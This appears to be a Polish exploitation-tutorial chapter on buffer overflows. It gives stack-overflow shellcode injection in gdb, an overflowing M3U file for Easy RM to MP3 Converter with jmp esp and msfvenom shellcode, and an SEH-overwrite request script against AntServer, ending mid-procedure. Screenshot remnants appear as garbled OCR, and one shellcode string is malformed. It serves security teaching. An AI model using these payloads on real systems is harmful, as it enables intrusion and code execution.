Przepełnienia bufora

Wprowadzenie

W programie komputerowym przepełnienie bufora występuje, gdy program podczas zapisywania danych do bufora przekracza przydzielony rozmiar bufora i zaczyna nadpisywać dane do sąsiednich lokalizacji pamięci. Bufor można uznać za tymczasowy obszar w pamięci przydzielony programowi w celu przechowywania i pobierania danych w razie potrzeby. Przepełnienia bufora są znane od dawna. Podczas wykorzystywania przepełnień bufora skupiamy się głównie na nadpisaniu niektórych informacji sterujących, tak aby zmienić przepływ sterowania programem, co pozwoli naszemu kodowi przejąć kontrolę nad programem. Oto diagram, który da nam podstawowe pojęcie o przepełnieniu występującym w buforze:

Z poprzedniego diagramu możemy założyć, że tak wygląda program. Ponieważ jest to stos, zaczyna od dołu i przesuwa się w kierunku góry stosu. Widząc poprzedni diagram, zauważamy również, że program ma stały bufor do przechowywania 16 liter/bajtów danych. Najpierw wprowadzamy 8 znaków (1 char=1 bajt); po prawej stronie diagramu możemy zobaczyć, że zostały one zapisane w buforze pamięci programu. Zobaczmy, co się stanie, gdy do programu wprowadzimy 20 znaków:

Widzimy, że dane są poprawnie zapisane do 16 znaków, ale ostatnie 4 znaki wyszły z bufora i nadpisały wartości zapisane w Return Address programu. To tutaj występuje klasyczne przepełnienie bufora. Przyjrzyjmy się przykładowi na żywo; weźmiemy przykładowy kod:

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buffer[5];
if (argc < 2)
{
printf("strcpy() NOT executed....\n");
printf("Syntax: %s <characters>\n", argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf("buffer content= %s\n", buffer);
// you may want to try strcpy_s()
printf("strcpy() executed...\n");
```

return 0;

}

Poprzedni program po prostu pobiera dane wejściowe w czasie wykonywania i kopiuje je do zmiennej o nazwie buffer. Widzimy, że rozmiar zmiennej buffer jest ustawiony na 5. Teraz kompilujemy go za pomocą tego polecenia:

gcc program.c -o program

Musimy zachować ostrożność, ponieważ gcc domyślnie ma wbudowane funkcje bezpieczeństwa, które zapobiegają przepełnieniom bufora. Uruchamiamy program za pomocą tego polecenia:

./program 1234

Widzimy, że zapisał dane i otrzymujemy dane wyjściowe. Teraz uruchommy to:

./program 12345

Zobaczymy, że program kończy działanie z błędem segmentacji. Jest to włączona funkcja bezpieczeństwa gcc. Dowiemy się więcej o adresie zwrotnym w następnym przepisie. Jednak nadpisanie adresu zwrotnego naszym własnym kodem może spowodować, że program będzie zachowywał się inaczej niż zwykle i pomoże nam wykorzystać lukę w zabezpieczeniach. Fuzzing to najłatwiejszy sposób wykrywania przepełnień bufora w programie. W Kali dostępnych jest wiele programów typu fuzzer, możemy też napisać własny skrypt, w zależności od typu programu, który mamy.

Po zakończeniu fuzzingu i wystąpieniu awarii, naszym następnym krokiem jest debugowanie programu, aby znaleźć dokładną część, w której program ulega awarii i jak możemy to wykorzystać na naszą korzyść. Ponownie, w Internecie dostępnych jest wiele debugerów. Moim ulubionym dla systemu Windows jest Immunity Debugger (Immunity Inc.). Kali ma również wbudowany debuger, GDB. Jest to debuger wiersza poleceń. Zanim przejdziemy dalej do bardziej ekscytujących tematów, zauważ, że w programie zwykle występują dwa typy przepełnień. Istnieją głównie dwa typy przepełnień bufora:

- * Przepełnienia stosu
- * Przepełnienia sterty

Omówimy je bardziej szczegółowo w dalszej części rozdziału. Na razie wyjaśnijmy sobie podstawy, które pomogą nam w wykorzystaniu luk w zabezpieczeniach związanych z przepełnieniem.

Wykorzystanie przepełnień bufora na stosie

Teraz, gdy podstawy są jasne, przejdźmy do wykorzystania przepełnień bufora na stosie.

Jak to zrobić...

Poniższe kroki demonstrują przepełnienie bufora na stosie:

1. Przyjrzyjmy się innemu prostemu programowi w C:

#include<stdio.h>

#include<string.h>

```
void main(int argc, char *argv[])
```

```
{
```

```
char buf[120];
```

```
strcpy(buf, argv[1]);
```

```
printf(buf);
```

}

Ten program używa podatnej metody strcyp(). Zapisujemy program do pliku.

2. Następnie kompilujemy program za pomocą gcc, używając fno-stack-protector i execstack:

gcc -ggdb name.c -o name -fno-stack-protector -z execstack

3. Następnie wyłączamy losowość przestrzeni adresowej, używając tego:

echo 0 > /proc/sys/kernel/randomize_va_space

4. Teraz otwieramy nasz program w gdb, używając tego polecenia:

gdb ./name

Poniższy	zrzut	ekranu	pokazuje	wynik	poprzedniego	polecenia:
root@kali GNUL.adb (:~/Deskto Debian 7	p# gdb ./na 7 1+dfsq-5)	me 771		/	
Copyright	(C) 2014	Free Softw	are Foundatio	n Inc 🦯		
License (P V3+ GN	U GPL versi	nn 3 or later	<http: a<="" th=""><td>nu.org/licenses/g</td><td>sol.html></td></http:>	nu.org/licenses/g	sol.html>
This is f	ree softw	are: vou ar	e free to cha	ande and re	distribute it.	gp c . m c c
There is	NO WARRAN	TY. to the	extent permit	ted by law	Type "show com	ovina"
and "show	warrantv	" for detai	ls.		, spe enen eep	- , <u>-</u>
This GDB	was confi	dured as "i	586-linux-anu	l" .		
Type "sho	w configu	ration" for	configuratio	n details.		
For bug r	eporting	instruction	s, please see	2		
<http: td="" w<=""><td>ww.gnu.or</td><td>g/software/</td><td>gdb/bugs/>.</td><th></th><td></td><td></td></http:>	ww.gnu.or	g/software/	gdb/bugs/>.			
Find the	GDB manua	l and other	documentatio	n resource	s online at:	
<http: td="" www<=""><td>ww.gnu.or</td><td>g/software/</td><td>gdb/documenta</td><th>tion/>.</th><td></td><td></td></http:>	ww.gnu.or	g/software/	gdb/documenta	tion/>.		
For help,	type "he	lp".				
Type "apr	opos word	" to search	for commands	; related t	o "word"	
Reading s	symbols fr	om ./name	.done.			
(gdb)						

5. Następnie podajemy nasze dane wejściowe za pomocą Pythona, używając następującego polecenia:

r \$(python -c 'print "A"*124')

Poniższy zrzut ekranu pokazuje dane wyjściowe poprzedniego polecenia:

6. Widzimy, że program się zawiesił i wyświetla błąd 0x41414141. Oznacza to po prostu, że wprowadzony przez nas znak, A, nadpisał EIP.

7. Potwierdzamy wpisując i r:

(gdb) i r	
⊇ax	0x7c 124
ecx	0xbffff200 -1073745408
edx	0xb7fb3B58 -1208272B08
ebx	0xb7fb2000 -1208279040
esp	0xbffff200 0xbffff200
ebp	0x0 0x0
esi	0x0 🔲 0
ədi	0x0 0
eip	0x41414141 0x41414141
eflags	0x10286 ^{(eff}] PF SF IF RF]

8. To pokazuje nam, że wartość rejestru EIP została pomyślnie nadpisana.

9. Następnie znajdujemy dokładny bajt, który nadpisuje EIP. Możemy to zrobić, wprowadzając różne znaki do naszego programu, a następnie sprawdzając, który z nich nadpisuje EIP.

10. Więc uruchamiamy program ponownie, tym razem z innymi znakami:

r \$(python -c 'print "A"*90+"B"*9+"C"*25')

Poniższy zrzut ekranu pokazuje wynik poprzedniego polecenia:

11. Tym razem widzimy, że EIP ma wartość CCCC. Oznacza to, że potrzebne nam bajty znajdują się gdzieś w ostatnich 25 podanych przez nas znakach.

12. Podobnie próbujemy różnych kombinacji 124 znaków, aż znajdziemy pozycję dokładnie 4 znaków, które nadpisują EIP:

```
Starting program: /root/Desktop/test $(python -c 'print "A"*100+"B"*4+"C"*20')
Breakpoint 1, main (argc=2, argv=0xbffff2c4) at test.c:6
6 strcpy(buf, argv[1]);
(gdb) c
Continuing.
Breakpoint 2, main (argc=1128481603, argv=0x43434343) at test.c:7
7 printf(buf);
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

13. Teraz, ponieważ znaleźliśmy dokładną lokalizację EIP, a także w celu przeprowadzenia udanej eksploatacji, musimy nadpisać te 4 bajty adresem pamięci, w którym będziemy przechowywać nasz kod powłoki. Mamy około 100 bajtów w pamięci, w której obecnie przechowywany jest A, co jest więcej niż wystarczające dla naszego kodu powłoki. Musimy więc dodać punkty przerwania w naszym debugerze, w których zatrzyma się on przed przejściem do następnej instrukcji.

14. Wypisujemy program za pomocą polecenia list 8:

15. Następnie dodajemy punkty przerwania w wierszu, w którym wywoływana jest funkcja, oraz po jej wywołaniu, używając b <numer_wiersza>.

16. Teraz uruchamiamy program ponownie i zatrzyma się on w punkcie przerwania:

17. Naciskamy c, aby kontynuować.

18. Teraz zobaczmy rejestr esp (wskaźnik stosu):

x/16x \$esp

Następujący zrzut ekranu pokazuje wynik poprzedniego polecenia:

(gdb) x/16x	\$esp			
0xbffff190:	0xb7ff8200	0×00000000	0x41414141	0x41414141
Oxbffffla0:	0×41414141	0x41414141	0x41414141	0x41414141
0xbffff1b0:	0×41414141	0x41414141	0x41414141	0x41414141
Oxbffff1c0:	0×41414141	0x41414141	0x41414141	0x41414141
(gdb) i r				
eax	0xbffff198	-1073745512		
ecx	0x4c554cff	1280658687		
edx	0x4d564e00	1297501696		
ebx	0xb7fb2000	-1208279040		
esp	0xbffff190	0xbffff190		
ebp	0xbffff218	0xbffff218		
esi	0×0 🗰 0			
edi	O×O O			
eip	0x8048469	0x8048469 <ma< td=""><td>in+46></td><td></td></ma<>	in+46>	
eflags	0x286 [PF SI	= IF]		
cs	0x73 115			
SS	0x7b — 123			
ds	0x7b 123			
es hutilität	0x7b 123			
fs	0×0 0 0 0 0			
gs	0x33 51			

19. To pokaże nam 16 bajtów po rejestrze esp, a w lewej kolumnie zobaczymy adres pamięci odpowiadający przechowywanym danym.

20. Tutaj widzimy, że dane zaczynają się pod adresem 0xbfff190. Zauważamy następny adres pamięci, 0xbfff1a0. To jest adres, którego użyjemy do zapisania EIP. Kiedy program nadpisze EIP, spowoduje to przejście do tego adresu, gdzie zostanie zapisany nasz kod powłoki:

(gdb) r \$(pyth	on -c 'print "A	*100+"B"*4+"C"*	20')	
The program bei	ng debugged has	been started al	ready.	
Start it from t	he beginning? (yorn)y		
Starting progra	m: /root/Deskto	p/test \$(python	-c 'print "A"*1	00+"B"*4+"C"*20')
Breakpoint 1, m 6 (gdb) c Continuing.	ain (argc=2, ar strcpy(buf, ar	gv=0xbffff2c4) a gv[l]);	t test.c:6	
Breakpoint 2, m	ain (argc=11284	81603, argv=0x43	434343) at test	.c:7
7	printf(buf);			
(gdb) x/60x \$es	p Hacks			
0xbffff190:	0xb7ff8200	0x00000000	0x41414141	0x41414141
0xbffffla0:	0x41414141	0x41414141	0x41414141	0x41414141
Oxbffff1b0:	0x41414141	0x41414141	0x41414141	0x41414141
Oxbffff1c0:	0x41414141	0x41414141	0x41414141	0x41414141
Oxbffff1d0:	0x41414141	0x41414141	0x41414141	0x41414141
Oxbffff1e0:	0x41414141	0x41414141	0x41414141	0x41414141
Oxbffff1f0:	0x41414141	0x41414141	0x41414141	0x42424242
0xbffff200:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffff210:	0x43434343	0xbffff200	0x00000000	0xb7e5b723
0xbffff220:	0x08048480	0x00000000	0x00000000	0xb7e5b723
0xbffff230:	0x00000002	0xbffff2c4	0xbffff2d0	0xb7fed79a
Oxbffff240:	0x00000002	0xbffff2c4	0xbffff264	0x0804a014
0xbffff250:	0x0804822c	0xb7fb2000	0x00000000	0x00000000
0xbffff260:	0x00000000	0x559211f2	0x611bb5e2	0x00000000
0xbffff270:	0x00000000	0x00000000	0x00000002	0x08048340

21. Spróbujmy otworzyć powłokę, wykorzystując przepełnienie. Możemy znaleźć kod powłoki, który wykona powłokę dla nas w Google:

https://www.exp	loit-db.com/exploits/39160/					
Hack The Planet	t - I 💼 97K Men's Stand U 📋 abxx	📋 🚨 Hack Forums	Kaotic Creation	is 📑 techorg	anic 🚺 gOtmi1k: 🚊 Tenal	ble Nessus Vul 📰 C
EXPLO Datae	Hon Hon	ne Exploits	Shellcode	Papers	Google Hacking Dat	abase Submi
	Linux/x86 - ex	ecve "/b	oin/sh'	' She	llcode (24	bytes)
DB-ID: 39160	Author: Dennis 'dhn' Herrmann	Published: 201	6-01-04			
VE: N/A	Type: Shellcode	Platform: Lin_	86			
-DB Verified: 🧿	Shellcode: 🕹 Download / 🗋 View Ra	w Shellcode Size:	24 bytes			
revious Exploit 1 /* 2 ; Title: L: 3 ; Platform 4 ; Date: 20; 5 ; Author: 0 6 ; Website: 7	inux/x86 execve "/bin/sh" - shell : linux/x86 15-01-03 Dennis 'dhn' Herrmann https://zer0-day.pw	code 24 byte				

22. Mamy 100 bajtów, a nasz kod powłoki ma 24 bajty. Możemy go użyć w naszym exploicie.

23. Teraz po prostu zastępujemy As instrukcją asemblera 76 no op (0x90), a resztę 24 bajtów kodem powłoki, następnie Bs adresem pamięci, na który chcemy, aby wskazywał EIP, a Cs ponownie kodem no op. Powinno to wyglądać mniej więcej tak:

"\x90"*76+"\x6a\x0bx58x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\

x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"

+"\xa0\xff\xf1\xbf"+"\x90"*20

24. Uruchommy ponownie program i przekażmy to jako dane wejściowe:

r \$(python -c print' "\x90"*76+"\x6a\x0bx58x31\xf6\x56\x68\

x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\

xcd\x80"+"\xa0\xff\xf1\xbf"+"\x90"*20')

25. Wpisujemy c, aby kontynuować od punktów przerwania, a po zakończeniu wykonywania nasza powłoka zostanie wykonana.

Wykorzystanie przepełnienia bufora w prawdziwym oprogramowaniu

Wcześniej poznałeś podstawy eksploatacji. Teraz wypróbujmy je na niektórych programach, które zostały już dawno wykorzystane i mają dostępne publiczne exploity. W tym przepisie dowiesz się o publicznie dostępnych exploitach dla starego oprogramowania i stworzysz własną wersję exploita dla niego. Zanim zaczniemy, będziemy potrzebować starej wersji systemu operacyjnego Windows (najlepiej Windows XP) i debugera dla systemu Windows. Użyłem Immunity Debugger i starego oprogramowania ze znaną luką w zabezpieczeniach przepełnienia bufora. Użyjemy Easy RM to MP3

Converter. Ta wersja miała lukę w zabezpieczeniach przepełnienia bufora podczas odtwarzania dużych plików M3U.

Przygotowania

Darmową wersję Immunity Debugger można pobrać ze strony https://www.immunityinc.com/products/debugger/.

Jak to zrobić...

Wykonaj podane kroki, aby się o tym dowiedzieć:

1. Następnie pobieramy i instalujemy nasz konwerter MP3 na komputerze.

2. Ten konwerter miał lukę w zabezpieczeniach podczas odtwarzania plików M3U. Oprogramowanie ulegało awarii, gdy otwierano duży plik do konwersji.

3. Utwórzmy plik z około 30 000 As wpisanymi w nim i zapiszmy go jako <filename>.m3u:

🖡 Untitled - Notepad 📃 🗖 🔀
File Edit Format View Help
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
^^^^
^^^^

^^^^

^^^^
^^^^

^^^^

4. Następnie przeciągamy i upuszczamy plik do odtwarzacza, a zobaczymy, że ulegnie on awarii:

5. Teraz musimy znaleźć dokładną liczbę bajtów, która spowodowała awarię.

6. Wpisywanie tak wielu As ręcznie do pliku zajmie dużo czasu, więc piszemy prosty program w Pythonie, który zrobi to za nas:

import io

a="A"*30000

```
file =open("crash.m3u","w")
```

file.write(a)

file.close()

7. Teraz bawimy się bajtami, aby znaleźć dokładną wartość awarii.

8. W naszym przypadku wyszło 26 105, ponieważ program nie zawiesił się przy 26 104 bajtach:

Easy RM to MP3	Converter		= i) ×			
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa	a7Aa8Aa9Ab0Ab1	Ab2Ab3Ab4A	b5Ab6Ab7Ab8A			
Press 'Load' or drag the ready files to the interface!						
Purchase	Load	Batch	Start			

9. Teraz uruchamiamy debuger i dołączamy do niego działający program konwertera, wybierając kolejno Plik | Dołącz:

4	lmm	unity	Debug	ger - [CP
С	File	View	Debug	Plugins
6	0	pen	F3	 II.
	A	ttach	Ctrl+F1	
	D	etach		
	E	xit	Alt+X	

10. Następnie wybieramy nazwę procesu z listy uruchomionych programów:

Select	Select process to attach							
PID	Name	Service	Listening	Window	Path 🔨			
668 824 868 956 1052 1076 1224 1232 1276 1560 1572 1704 1572 1704 1572 1704 1592 2284 2686 2880 3648	Isass UBoxService svchost svchost svchost alg svchost UBoxTray ctfmon svchost iexplore Explore Explore svchost wscntfy svchost wschost muauelt RM2MPSConve iexplore iexplore	PollcyAgent, P: UBoxService DcomLaunch, Te: RpcSs AudioSrv, Cryp ALG Dnscache LmHosts, Remot Spooler WebClient	UDP: 500 4500 TCP: 135 UDP: 123 123 TCP: 1025 UDP: 1900 1900 UDP: 1410	UBoxSharedClipboardClass CiceroUIWndFrame DDE Server Window Start Menu Default IME Easy RM to MP3 Converter SysFader SysFader	C: WINDOWS (C: WI			

11. Po dołączeniu otwieramy nasz plik M3U w programie. Zobaczymy ostrzeżenie na pasku stanu debugera. Po prostu klikamy kontynuuj, naciskając klawisz F9 lub klikając przycisk odtwarzania na górnym pasku menu:

< ▶ 4 4 3 4 4 4 1

12. Zobaczymy, że EIP został nadpisany za pomocą As i program się zawiesił:

13. Teraz musimy znaleźć dokładnie 4 bajty, które powodują awarię. Użyjemy skryptu Kali znanego jako pattern create. Generuje on unikalny wzorzec dla liczby bajtów, których potrzebujemy.

14. Możemy znaleźć ścieżkę skryptu za pomocą polecenia locate:

locate pattern_create Poniższy zrzut ekranu pokazuje wynik poprzedniego polecenia:

15. Teraz, gdy mamy ścieżkę, uruchamiamy skrypt i przekazujemy liczbę bajtów:

ruby /path/to/script/pattern_create.rb 5000

16. Użyliśmy 5000, ponieważ wiemy już, że nie zawiesi się przy 25000, więc tworzymy wzór tylko dla następnych 5000 bajtów.

17. Mamy nasz unikalny wzór. Teraz wklejamy go do pliku M3U wraz z 25000 As.

18. Otwieramy naszą aplikację i dołączamy proces do naszego debugera:

19. Następnie przeciągamy i upuszczamy nasz plik M3U do programu.

20. Program się zawiesza, a nasz EIP zostaje nadpisany przez 42386b42.

21. Metasploit ma inny świetny skrypt do znajdowania lokalizacji przesunięcia:

ruby /path/to/script/pattern_offset.rb 5000

22. Teraz mamy dopasowanie przesunięcia przy 1104; dodając je do 25 000, wiemy teraz, że EIP jest nadpisywane po 26 104 bajtach:

23. Następnie musimy znaleźć niezawodny sposób na przejście do shellcode. Robimy to po prostu wpisując dodatkowe losowe znaki do stosu po EIP, upewniając się, że shellcode, który zapiszemy, zostanie poprawnie zapisany w pamięci.

24. Uruchamiamy program, dołączamy go do debugera i pozwalamy mu się zawiesić.

25. Zobaczymy, że EIP został pomyślnie nadpisany. W oknie w prawym dolnym rogu klikamy prawym przyciskiem myszy i wybieramy Przejdź do ESP:

Registers (FPU)	<	<	< <	<	< <	<	<
ERX 0000001 ECX 7C91056D ntdll.7C91056D EDX 005F0000 EBX 00104058 ESP 000FFD38 ASCII "a1Aa2Aa3Aa4Aa5Aa6Aa EBP 000FFD38 ASCII "E:\BCOK\crash.m3w" ESI 77C5FCE0 ASCII "E:\BCOK\crash.m3w" ESI 77C5FCE0 Msvcrt.77C5FCE0 EDI 00006692	a7Aa8Aa	a9AbØA	961A62A	53A64A6\$	5A66A67A	68AP940	0Ac1A
EIP 42424242							
C 0 ES 0023 325it 0(FFFFFFFF) P 1 CS 0018 325it 0(FFFFFFFF) A 1 SS 0023 325it 0(FFFFFFFF) Z 0 DS 0023 325it 0(FFFFFFFF) S 0 FS 0038 325it 7FFDF000(FFF) T 0 GS 0000 NULL D 0 0 e L setErm EPBOR SUCCESS 100300000)							
EEL 80010216 (NO. NB. NE. R. NS. PE. GE. G)							
STØ empty ST1 empty ST2 empty ST3 empty ST3 empty ST5 empty ST6 empty ST7 empty ST7 empty ST7 empty ST7 empty ST7 empty ST7 empty	ZDI	ľ	Addra Hide (ess dump			•
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 FCW 027F Prec NEAR,53 Mask 1 1 1 1	000 111	(GT)	Show Lock :	UNICOD stack	E dump		
			Copy Modif	to clipbo Y	ard	Cbl+C	
			Edit Push Pop D Searc Searc	DWORD WORD h for add h for bina	ress arv string	Ctrl+E Ctrl+B	
030FFCD0 41414141 AAAA							_
000FFCD4 41414141 HHHH 000FFCD8 41414141 AAAA			Go to	ESP		*	
000FFCDC 41414141 AAAA 000FFCE0 41414141 AAAA			Go to	EBP			
030FFCE4 41414141 AAAA 030FFCE8 41414141 AAAA			Go to	expressi	on	Ctrl+G	
000FFCEC 41414141 AAAA 000FFCF0 41414141 AAAA 000FFCF4 41414141 AAAA			Appe	arance			•
000FFCF8 4141414 HHHH 000FFCFC 4141414 AAAA 000FFCF0 41414141 0000							

26. Tutaj zauważamy, że ESP faktycznie zaczyna się od 5. bajtu. Aby upewnić się, że nasz shellcode jest wykonywany poprawnie, musimy teraz upewnić się, że shellcode zaczyna się po 4 bajtach. Możemy wstawić cztery NOP-y, aby to naprawić:

000EED20	10101010	DDDD	
000FFD30	42424242		
BBBEED29	61419161	a10a	
000FED3C	33614132	20.53	
000FFD40	41346141	0a40	
000FFD44	61413561	a58a	
000FFD48	37614136	6Aa7	
000FFF040	4100/141	0-00	

27. Ponieważ mamy kontrolę nad EIP, istnieje wiele sposobów wykonania naszego kodu powłoki, a tutaj omówimy dwa z nich. Pierwszy jest prosty: znajdujemy instrukcję jmp esp w kodzie i nadpisujemy

nią adres. Aby to zrobić, klikamy prawym przyciskiem myszy i przechodzimy do Wyszukaj | Wszystkie polecenia we wszystkich modułach:

Backup Copy		•	Name (label) in current module Ctrl+N Name in all modules
Binary Assemble Label	Space :		All Commands in all modules All sequences in all modules
Comment		- 1	Conversed Childs

28. Wpisujemy instrukcję jmp esp:

Find all commands	\mathbf{X}
imp esp	_
	First Convert
	Find Lancel

29. W polu wyników widzimy naszą instrukcję i kopiujemy adres naszego exploita.

 101001000 HOL EXX, DUCKO PTR SELESPH41
 (Anitial CHO selection)
 Ci-Product Files/Casy int to HPB Converter/HSHPcodec02.cll

 01001000 HOL EXX Product Relieve to the Device of the

30. Napiszmy teraz exploit. Podstawowym konceptem byłyby bajty śmieci + adres jump ESP + bajty NOP + Shellcode:

31. Możemy wygenerować kod powłoki kalkulatora:

msfvenom windows/exec CMD=calc.exe R | msfencode -b

'\x00\x0A\x0D' -t c

32. Teraz uruchamiamy exploit i powinniśmy zobaczyć otwarty kalkulator, gdy program się zawiesi!

33. Spróbujmy innej metody; załóżmy, że nie mamy do dyspozycji esp jmp. W takim przypadku możemy użyć push esp, a następnie instrukcji ret, która przesunie wskaźnik na szczyt stosu, a następnie wywoła esp.

34. Wykonujemy te same kroki do kroku 25. Następnie klikamy prawym przyciskiem myszy i przechodzimy do Wyszukaj | Wszystkie sekwencje we wszystkich modułach.

35. Tutaj wpisujemy push esp ret:

36. W rezultacie widzimy, że mamy sekwencję w adresie: 018F1D88.

37. Teraz wystarczy, że zamienimy adres EIP w kodzie exploita na poniższy i uruchomimy exploita, a powinien otworzyć się kalkulator:

Ominięcie SEH

Zanim zaczniemy, musimy zrozumieć, czym jest SEH. SEH oznacza obsługę wyjątków strukturalnych. Często widzieliśmy programy, które wyskakują z błędem informującym, że oprogramowanie napotkało problem i musi zostać zamknięte. Zasadniczo oznacza to, że włącza się domyślny program obsługi wyjątków systemu Windows. Obsługę SEH można uznać za blok instrukcji try i catch, które są wykonywane w kolejności, gdy w programie występuje wyjątek. Oto jak wyglądałby typowy łańcuch SEH:

Gdy wystąpi wyjątek, łańcuch SEH przychodzi z pomocą i obsługuje wyjątek na podstawie jego typu. Tak więc, gdy wystąpi nielegalna instrukcja, aplikacja otrzymuje szansę na obsłużenie wyjątku. Jeśli w aplikacji nie zdefiniowano obsługi wyjątku, zobaczymy błąd wyświetlany przez system Windows: coś w rodzaju Wyślij raport do Microsoft. Aby wykonać pomyślne wykorzystanie programu za pomocą obsługi SEH, najpierw próbujemy wypełnić stos naszym buforem, a następnie próbujemy nadpisać adres pamięci, który przechowuje pierwszy łańcuch rekordów SEH. Jednak to nie wystarczy; musimy również wygenerować błąd, który faktycznie uruchomi obsługę SEH, a następnie będziemy mogli uzyskać pełną kontrolę nad przepływem wykonywania programu. Łatwym sposobem jest ciągłe wypełnianie stosu aż do samego końca, co spowoduje utworzenie wyjątku do obsłużenia, a ponieważ mamy już kontrolę nad pierwszym rekordem SEH, będziemy mogli go wykorzystać.

Jak to zrobić...

W tym przepisie dowiesz się, jak to zrobić:

1. Pobierzmy program o nazwie AntServer. Ma wiele dostępnych publicznych exploitów i spróbujemy zbudować własny exploit dla niego.

2. Zainstalujemy go na komputerze z systemem Windows XP SP2, którego użyliśmy w poprzednim przepisie.

3. AntServer miał lukę, która mogła zostać wywołana przez wysłanie długiego żądania USV do AntServer działającego na porcie 6600:

Select	process to	attach			
PID	Name	Service	Listening	Window	Path 🔨
612 660 672 824 868 956 1096 1096 1136 1222 1348 1468 1468 1468 1468 1468 1468 1468 14	calc services lsass VBoxService svchost alg VBoxTray svchost svchost svchost svchost calc AntAdmin AvServer AntDS wscntfy Explorer spoolsv AntServer	Eventlog, Plug PolicyAgent, P: UBoxService DcomLaunch, Te: ALG RpoSs AudioSrv, Cryp Dnscache LmHosts, Remote AvServer AntDS Spooler AntServer	UDP: 500 4500 TCP: 1026 TCP: 135 UDP: 123 123 UDP: 1025 1040 UDP: 1900 1900 UDP: 6662 TCP: 6661 TCP: 6660	VBoxTrayDnDWnd BigAnt Console Start Menu	C: \WINDO C: \WINDO

4. Uruchommy AntServer, otwierając oprogramowanie i przechodząc do Serwer | Uruchom kontrolę usług...:

Í	😡 BigAnt Console					
Γ	File Actions Import Server	Options Help				
	# 12 12 G	Service Control				
	User Management	Thunk I I	Destant I Chan I Chart All	Destaut		
	G	Scart All Restart All Scop All				
	~	Server Name	Description	Port	Type	Status
	All Users	AntServer	EigAnt Messaging Service	6660	IP	Running
		AvServer	BigAnt Audio&Video Service	6662	UDP	Running
	6	AntDS	BigAnt Document Service	6661	τΦ	Running

5. Teraz napiszmy prosty skrypt Pythona, który wyśle duże żądanie do tego serwera na porcie 6600:

#!/usr/bin/pythonimport socket

import socket

address="192.168.110.6"

port=6660

buffer = "USV " + "\x41" * 2500 + "\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((address, port))

sock.send(buffer)

sock.close()

6. Wracając do komputera z systemem Windows, uruchommy Immunity Debugger i dołączmy do niego proces AntServer.exe. Następnie kliknijmy Uruchom.

7. Po uruchomieniu programu uruchamiamy nasz skrypt Pythona z Kali, a w naszym Debuggerze zobaczymy błąd naruszenia. Jednak nasz EIP nie został jeszcze nadpisany:

View	Debug	Plugins	ImmLib	Opt
Log]		Alt+L	1
Exe	ecutable	modules	Alt+E	
Me	mory		Alt+M	- 8
He	ар			
Thi	reads			
Wir	ndows			
Ha	ndles			
CP	U		Alt+C	
SE	H chain		Alt+S	
Pat	ches:		Ctrl+P	В
Ca	Alt+K	- 6		
_				

8. W menu Plik w debugerze przechodzimy do Widok | Łańcuch SEH. Tutaj zobaczymy, że adres został nadpisany przez AAAA. Teraz naciskamy Shift+F9, aby przekazać wyjątek do programu. Zobaczymy, że EIP został nadpisany i otrzymamy błąd:

9. Zauważymy również, że inne wartości rejestrów stały się teraz zerami. To zerowanie rejestrów zostało wprowadzone w systemie Windows XP SP1 i nowszych, aby utrudnić eksploatację SEH.

10. Używamy systemu Windows XP SP2. Ma on funkcję o nazwie SAFESEH. Gdy ta opcja jest włączona w module, można używać tylko adresów pamięci wymienionych na liście zarejestrowanych programów obsługi SEH, co oznacza, że jeśli użyjemy dowolnego adresu, którego nie ma na liście, z modułu skompilowanego z opcją /SAFESEH ON, adres SEH nie zostanie użyty przez program obsługi wyjątków systemu Windows, a nadpisanie SEH się nie powiedzie.

11. Istnieje kilka sposobów na ominięcie tego, a oto jeden z nich: użycie adresu nadpisywania z modułu, który nie został skompilowany z opcją /SAFESEH ON lub IMAGE_DLLCHARACTERISTICS_NO_SEH.

12. Aby to znaleźć, użyjemy wtyczki o nazwie mona for Immunity Debugger. Można ją pobrać ze strony https://github.com/corelan/mona:

https://g	ithub.com/corelan/mona	
🔓 Hack T	he Planet - I 💶 97K Men's Stand I	U 🗋 abxx 📋 💄 Hack Forums 🔁 Kaotic Creations 🏢 techorgan
	corelanc0d3r version bump	
	🖹 .travis.yml	remove comment
		Initial commit
	E README.md	Updated readme (installation instructions)
		added new function 'copy' to mona
	🖹 mona.py	version bump
	EREADME.md	

13. Po prostu kopiujemy plik Python do folderu PyCommands aplikacji Immunity.

14. Przejdźmy do tworzenia exploita. Widzieliśmy, że EIP został już nadpisany. Teraz spróbujemy znaleźć dokładne bajty, w których następuje awaria, używając skryptu pattern create w Kali Linux:

ruby /path/to/script/pattern_create.rb -l 2500

Poniższy zrzut ekranu pokazuje wynik poprzedniego polecenia:

